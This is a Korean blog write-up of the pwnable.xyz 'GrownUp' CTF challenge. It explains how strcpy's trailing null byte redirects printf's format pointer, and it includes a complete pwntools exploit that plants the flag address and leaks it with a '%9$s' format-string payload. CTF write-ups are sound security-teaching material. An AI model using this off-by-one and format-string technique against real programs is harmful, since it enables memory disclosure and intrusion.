본문 바로가기

pwn/pwnable.xyz

pwnable.xyz/GrownUp

problem

 

strcpy의 마지막에 추가되는 널바이트와 fsb를 사용하여 푸는 문제였습니다

 

main

buf에 0x10 크기의 데이터를 넣을 수 있고 src에 0x80크기에 데이터를 넣고 usr에 strcpy로 저장한 뒤 이를 printf로 출력하여 줍니다 해당 buf에 오직 1byte만을 가지고 검사가 이루어지기 때문에 그 이후로의 원하는 데이터를 스택에 밀어넣을 수 있다

 

usr

0x80만큼의 데이터가 저장될 usr 영역을 보면 printf의 rdi에 저장되는 서식문자의 주소가 저장되어 있는 것을 확인할 수 있습니다

usr에 0x80만큼 데이터를 넣는다면 qword_601160에 저장된 첫 1바이트가 널이 되면서 usr+0x20의 위치가 rdi에 들어가게 되면서 fsb가 발생할 수 있습니다

flag

 

 

from pwn import *

p = remote("svc.pwnable.xyz", 30004)
#p = process("./GrownUpRedist")
#gdb.attach(p)

flag_addr = b"y"
flag_addr += b"A" * 7
flag_addr += p64(0x601080) # flag address


payload = b"A" * 0x20
payload += p64(0x7324392573243925) # %9$s%9$s
payload += b"A" * 0x58

p.recvuntil(b"[y/N]: ")
p.send(flag_addr)

p.recvuntil(b"Name: ")
p.send(payload)

p.interactive()

 

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / TLSv00  (0) 2022.05.11
pwnable.xyz / free spirit  (0) 2022.05.10
pwnable.xyz / two_target  (0) 2022.05.07
pwnable.xyz / xor  (0) 2022.05.06
pwnable.xyz / note  (0) 2022.05.06